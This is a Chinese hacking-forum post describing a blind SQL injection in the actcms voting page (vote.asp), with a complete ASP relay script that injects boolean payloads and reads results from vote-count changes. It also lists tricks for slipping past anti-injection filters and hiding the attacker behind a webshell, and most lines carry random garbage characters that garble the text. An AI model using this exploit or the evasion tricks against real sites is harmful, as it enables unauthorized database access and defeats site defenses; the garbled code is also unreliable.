中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

" H" h: m! A7 w" x* e看到ninty大牛的blog的一篇文章
2 H2 g% J; a' s4 X" V% }链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 |+ d- p2 @$ N' Y, p5 a关于actcms漏洞的利用  by 3x qq:3818625892 S2 W  S; r8 P1 V6 S3 i5 K" ^# K, [
转载请注明以上; _7 ], V& g) l# g) ]% T$ V$ w
漏洞文件:
' t% D5 o& Z  b0 K/plus/vote/vote.asp  X8 m6 s: Z$ q/ k& T4 ^& q
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
/ h% k3 z; F+ i, a  R
# {# s# Q1 i9 o: B' Y* V2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   9 X" s* A% X  m* I( y  o5 q
3 O* Q6 n* s& p& U/ P& N% x' @
3    response.end   
  T% T! T& e/ J; L+ S5 R* @; i- m- W
4    end if    # G: c: z' Z0 O% x/ W7 a/ h
& u, m  A3 j$ N& T, P- {
5    for i=1 to request("voted").count   
" c6 N4 C$ l. O7 O' h. R
# g0 B6 `8 z- k$ r6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    7 ]9 f9 t0 \* t8 I
( I( n. [( O3 X) G6 W0 }
7    next   
0 M# {: E! T6 I% r$ B: r( `7 F9 I8 [/ Y* O# n8 U
8....   
; T( g2 U' \5 _& {
9 R" L, Y: P, }' n9response.Redirect "index.asp?id="&id&""   
; U: r4 M% g, w7 g7 `' y投票结束回跳转回index.asp这个投票结果页面0 o% Z+ V$ y$ _! S$ r
如果投票成功票数加1! a& n  Y, V/ J1 y
            失败票数不变
) d! ~8 B' r0 S9 k3 B如图:  Z4 @6 Z! d4 T! y4 G9 f6 K
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)+ K3 [: a$ B* {1 Y
7 a+ H$ s4 H2 q; c: C
2009-12-27 13:20& c7 e6 _! G& o) Z) \
+ t8 `& g3 O! l1 P( Y
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
. M0 h- I% n# O, t
* T8 M0 Z. e, T8 l* R本帖隐藏的内容需要回复才可以浏览4 r& D) @2 h5 H, k0 T8 R
我们用注入中转来实现这个注入具体代码如下:/ N) ]. p' O" N3 G& g5 @) ~5 w
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) n2 {8 w; H; d* k8 }6 W注入地址:http://localhost/actcms/plus/vote/vote.asp9 d/ m% Z8 j; C$ Y" c
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
+ F. ]; V" |: S" r3 i3 t% z, z8 ?* L
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
/ d+ x& e, C2 i2 b) c/ H( f' g) ?6 ?9 U6 g
02JmdcwName=request("jmdcw")
# L2 p2 a. L1 m: D6 t  O7 ~4 C7 n# x" J/ s. X) Y. F
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
' o8 b# H. B1 S) K: c
. L5 ~/ h9 C! _- V/ R+ v04JmStr="id=1&voted=-1 or 1="&JmdcwName + q& s2 X+ @! z2 y9 B

% [' w4 U" {, R5 J05JmStr=URLEncoding(JmStr) 8 _: m/ ?# B* R+ f6 j

! e+ U4 m( b7 A/ G$ M6 o9 s* e% ^7 Q06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
: ?1 K# s* J6 z+ J9 y  o  [& C
+ l8 g; I6 [4 `( p, o07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"7 o# b% v% w' A- E3 |( e

* C2 l1 _# l! \7 D( V08testurl=testurl & "?" & JmStr
& t8 D2 Z/ S6 {2 ?& B2 E8 c. ]) c4 h) z
09JMUrl=JMUrl & "?" & JmStr + T) @8 V$ a' p& V

( P2 q$ h5 E" j; X- B% \& p5 T* U8 @7 A0 I10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"$ ?6 \+ j1 J: N/ w4 `9 ^

. C8 u+ [( P7 B2 |5 z; E11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;": _% z1 I7 c7 b2 }, l

3 ^6 i: n) ?) v" e& L0 {12JmCok=replace(JmCok,chr(32),"%20")  ; J4 }$ y1 A) ]/ k
4 G/ s+ |' Z: a* R2 ]+ _  V
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
& q9 P, {: v( Y! v. [& x+ p8 H
( {' v2 m" b0 q! A7 s4 W; D) k) Y. D14  
3 `. }8 u7 y: n7 j) f/ b0 x) t" ~2 h1 {7 l& O8 v' n
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 , S$ d' b- X( t8 w3 f) z3 e0 h

$ k/ w3 T: u' c9 l: [16  8 j$ O+ r  A7 T+ c2 ]
+ b9 q& Z, [5 Y+ }( k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. ]7 c& X) X, M$ _6 m) p+ |- J4 T" y" d5 w5 q/ Z$ f
18response.write test1&""&test2&""" ?# A; ?. E* o& {! C
3 k# H2 L: n' E# }! U' q
19  2 z7 }% S' x$ b& _7 J: v

4 R, K/ h$ D2 M1 ~20if test1=test2 then '如前后记录相等,表示失败
0 C: w, e( V5 R, X$ E- u# A0 B9 M2 I  N$ G  V
21  response.write "failed"
% b6 ^, R+ y6 ]& F. ?: _, y2 ^* ?- q+ ~8 o, o, M6 A  R5 Z
22else # R0 _* u% c" T  B4 ]& d6 j

# n) F# {/ D# I/ `. f23  response.write "succeed"" J: ]  w* x/ k; Y' Z  U3 j

, F& l% b6 x+ P, b3 f) b7 p2 g24end if  7 N2 g  \0 `8 `9 @

! L8 t" N" ]$ f8 v25  9 j; F  J7 v6 u; A$ |' }
0 A9 |. r8 c2 h- y, Z$ k" y4 j
26response.write "by 3x"
/ Z( ^: ?. ?3 t+ u- f, w
) |- {" B. u; \  o) z27    F8 \, s- a/ Z, e6 {

5 u* z) a; f" j$ H  w( Y28  
. z7 B! W0 N5 k
6 l& J% h, f0 e2 H9 k% v2 L29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
) `* ^0 }1 \9 \& }" w* F9 t3 B4 e2 U, O* K
30Dim Http 0 B; V4 X! ]0 {1 C( L. ~
3 V: A/ h; R( p) t3 J" [6 P, s
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") / W2 j" Z, c8 M9 Y

* e) M. j2 @7 q$ e32With Http
5 I) W, p+ n  d3 B" |, n
% W$ Z" X8 W4 O$ F33  # B/ M/ i. i* a2 o7 _+ U

0 I7 @  e) b  ?3 G" I/ d  M6 Q34.Open "GET",PostUrl,False' F" }: R1 M9 [+ K+ R

/ r$ Y" X, `# d# K0 ~- _35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"9 V( d3 v! L6 x1 E
( R4 P' j1 V# B% Z
36.SetRequestHeader "Referer",PostRef
/ M4 t' Y; z9 v( H+ `5 L
* n9 {$ |& ~6 H1 T& r37.SetRequestHeader "Cookie",PostCok ; k2 }" W, a; I* [0 x) j9 U6 X/ O  X$ @

/ @# j. w- K9 w* m4 A38.Send ()
, k3 G5 n$ h( S6 f/ j' U6 V  ^" F7 V+ K" D6 C
39PostData = .ResponseBody : z/ ?2 \! ^( M0 O2 M. G
0 R- c- ^$ F+ [+ }) e0 o7 W
40End With
) N$ g) @) H' _7 g1 [
6 a, `; j& W, h( ?. _3 Z" n41Set Http = Nothing& t) H- V9 P; g. b& C
: `: N4 u4 z4 I5 l
42PostData =bytes2BSTR(PostData) & o' a! ~/ J: K$ }6 l2 s/ K
: V+ ^1 ^, S2 b# F
43End Function4 y- b" V# J5 h2 z9 @

9 R+ j5 n% o3 N8 N2 R  L44  
  v, \9 u* T% F/ u0 N
5 h# e2 |8 p# V5 W" \. G; o45  % @  L: J( G: x+ F+ A

6 Y: K% X9 j/ ?& @46Function bytes2BSTR(vIn) 5 a  d& }  |# U( |. S' P$ L! [# `
2 _" I3 J- z+ C: a
47Dim strReturn
  U' Q1 A0 \* o/ q1 w2 j! y" k5 u
. o$ B) {2 i' f( U48Dim I, ThisCharCode, NextCharCode 1 f3 F* f: U: J, V4 |
' J& P/ g4 w3 j' |" z0 `+ e  N
49strReturn = ""; H7 m/ y! L" u, ~! j" n/ v6 p

' O* G( L9 w$ g3 O& }- P50For I = 1 To LenB(vIn) 0 I# i+ N3 l  j: }: p" J

5 r; `4 T9 ^/ T& O$ G4 r51ThisCharCode = AscB(MidB(vIn, I, 1)) * H5 x) @  |- s! D

6 M% w6 ?; c8 [) N6 a5 d4 ?: P6 j0 T52If ThisCharCode < &H80 Then+ a. [% d) B6 B
# c# g9 l5 a; U5 L$ b
53strReturn = strReturn & Chr(ThisCharCode) ( K5 y  R5 I( |- j6 K+ @! Q
+ S" Z0 T4 K/ ?. ?" ]" z, T
54Else
: P  l, N. I- U$ I. j+ F3 s
& R9 S- [5 D# U; F9 I/ D8 D# Z, p55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ( t- N% l4 @0 D: t6 j
* C. v" x, c. z" P9 |0 O) T4 M1 p
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
- B% h% D( R, j( {" d5 P  B! n2 a8 t' ]
57I = I + 1 ( n( Q1 W) e# }; n

! s( S, a- B% d$ }& H$ |6 b7 Z$ m( f( {58End If
$ T, q7 {, L; _) \2 F" h$ U9 b
: G' R  I- Q7 i5 C) H59Next  M' t# r( S0 q, m; y9 n

) k- S: E" Y  Y* A60bytes2BSTR = strReturn 5 S4 a" C) G7 d2 ]' n2 D

6 N4 K# F, B8 c/ A61End Function
1 T' T+ a# w8 [$ [/ Z. n; ~5 S! k* `9 r2 m! ^- ^- N  f& z  w
62  . O; e7 h: ^9 V5 F# Y" V$ [
9 P8 e% [5 ?8 Q9 Z: d
63Function URLEncoding(vstrin)  
; k' H9 ]4 u- Y1 }9 @6 d
" K1 S! q8 X# R; Z64strReturn=""
. e/ ~, |" J; U& ^& h# {) C1 @- f% ~% D
65Dim i
9 U# t' ]) y: z* w3 w- k+ W. v1 u* `- i. `& w5 \
66For i=1 To Len(vstrin)
& }( K1 j4 W, s% }
# p3 H6 m1 G+ Z% I0 s9 N67ThisChr=Mid(vstrin,i,1) 6 n9 B: d. H- s: _

% g& w# l. g0 }68if Abs(Asc(ThisChr))< &HFF Then
0 `$ W  n4 I% D% g7 X2 a+ ^
2 O; p9 L0 i9 s" m. I2 z( @7 L69strReturn=strReturn & ThisChr , Q6 i% m4 k5 c0 Z* ~# O& l
. a. h/ r/ J" j
70Else  l7 x- h% g* O* E3 l

: C  z7 p5 Y: L71InnerCode=Asc(ThisChr) ! f1 a+ x& v7 y  m+ I/ b% F
7 K( z& E2 ^# s  Y
72If InnerCode<0 Then; q3 }8 R! F6 X1 ^

* X, y* G2 A8 o8 d" F$ L2 o- V73InnerCode=InnerCode + &H10000
0 f# L: a, w' L1 O
: o) w7 a; X, }$ n* O& {, ?# [74End If
- ?! x& N( I6 ~' D
+ p- S* u" a3 v( Q75Hight1=(InnerCode And &HFF00) \&HFF
# y/ P! A: B6 o3 N
: i7 j8 r  I% B& O76Low1=InnerCode And &HFF
5 c% K( N; M# E- X# S% g# _: t" F4 ]7 V' M" n7 m; h
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ; n; r/ ^/ v4 {5 ^+ g9 j( }
8 K% m5 h! e8 E( A
78End if
( l7 y: ]9 i% v2 e* f0 Y7 d( E8 p  j6 V; H. b
79Next; A9 n" r) W0 T0 @

1 J8 z9 e8 \, J! o- D80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
3 |' ^" T8 M! x% u. O0 A; h# G3 G$ ?; D0 o: m: D
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 # |) i2 K8 \4 ~, S$ ?$ X
4 w" S- |) j0 h1 M/ B
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
! }/ p" `$ @2 T4 I! U
6 t6 h+ }3 J- q! D" V, y83URLEncoding=strReturn 6 h) C! R" h; g! T( ^
& u& c* W# S& X' r; G0 K/ N
84End Function% A: }, p' U, l& `

4 {/ Y/ P1 Q7 l$ }4 v85  
5 I. N, G! ~$ ?, k4 {6 x3 D. i% a2 P
86function getSt(body) ) ]. {: `4 H3 p" Q( F& |
4 b9 {3 L) A& J3 d% E% I0 _
87  startpot=instr(body,"投票人数:")+len("投票人数:") , Y( k6 I2 f, B/ V3 O* O

" [  H+ R8 [7 O88  endpot=instr(startpot,body," ")
8 R- E. a0 j, H9 P* e4 j4 Z) B4 }7 `1 Q6 }# ~5 P, Y& d( {$ ^
89  getSt=mid(body,startpot,endpot-startpot) : a; a# D, [* C/ W; H! p

- L+ N; l+ \, t% l# e4 G6 ?0 ]8 @90end function
  W3 W  C( E  U1 g
0 Q  x. d1 l- _8 F9 C( w91%>
2 i9 l  _7 y9 t( U: N注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
; Q. k( ?, S$ m# i% h5 A2 _测试下效果:# b5 o& {1 [, w% ?% q( e0 K5 w
投票成功:! R; z8 v& r; D8 ?
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)- ]' G* b& C! X6 ]6 o$ R
# p" J0 ~3 Y3 G: [8 G
2009-12-27 13:293 P, h7 v1 X- W0 C" O
投票失败/ F9 T, C% [: F/ o
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 |" e' G& ?$ q" C( w% A7 Z0 ]1 \" b, j: G+ I3 ?. w
2009-12-27 13:295 L$ v4 q( Q7 a& v  _% L
-------------------------------------------------------------------------------" |) V0 Q5 }; U) X
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以, q% ^6 E* z2 i! I: i- L! L
很抱歉。。。只能用单线程工具去注入。。。。。) G. Q1 }: B0 k" o( L/ |, I
所以失败。。。不好意思。。。
; {  {1 ]0 W' Z0 {2 d; h( \-------------------------------------------------------------------------------% y+ P) g) Q' ^3 N$ x' `0 P

" Y* [2 S/ n$ ]9 |; \注入中转的一些其他应用% r! T7 z3 D) Z/ P& }% b
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
) w( \, }. [7 w! E1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id3 Z7 c3 q/ K/ }" _, Q, J
2.post注入转成get型的注入,方便我们使用工具来跑3 ?  j* V) L" N& b3 X9 A0 w  P, D* ]( ~
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")  \: ~3 j+ U6 L+ R+ M3 y7 {! z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过, o* S( r) l3 n- K, K! Z/ S2 v' t

1 ~" j& \. K4 V. r- y5 T5 ^- i




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2